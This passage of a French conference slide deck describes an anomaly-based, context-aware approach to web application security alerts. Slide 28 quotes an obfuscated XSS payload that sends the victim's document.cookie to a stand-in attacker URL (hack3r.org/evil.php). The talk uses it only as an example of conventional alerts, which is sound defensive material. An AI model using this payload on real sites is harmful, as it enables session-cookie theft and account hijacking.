  • 28. Prise de décision  Un filtrage possible selon l’importance de l’anomalie  Des indicateurs non technique basés sur l’utilisation « normale » de l’application  Une réduction progressive de la surface d’attaque  Une simplicité et une compréhension de l’alerte sécurité  Une rupture totale avec les alertes type XSS sur la variable id contenant par exemple: – value» onclick=«var _0xc454 = ["x68x74x74x70x3Ax2Fx2Fx68x61x63x6Bx33x72x2Ex6Fx72x 67x2Fx65x76x69x6Cx2Ex70x68x70x3Fx63x6Fx6Fx6Bx69x65x 3D","x63x6Fx6Fx6Bx69x65","x6Fx70x65x6E"];window[_0xc454[2]]( _0xc454[0]+document[_0xc454[1]]);
  • 29. En quelques mots…  Sécurité renforcée – Adaptée au contexte applicatif – Différente du modèle classique whitelist/blacklist – Réduction progressive de la surface d’attaque  Un exploitation simplifiée – Des indicateurs simples pour une décision rapide – Une analyse non technique – Un focus sur les anomalies et non les faux positifs
  • 31. 31 Merci/Thank you! Contact: mestrade@bee-ware.net @mestrade Slides: http://slideshare.net/ASF-WS/presentations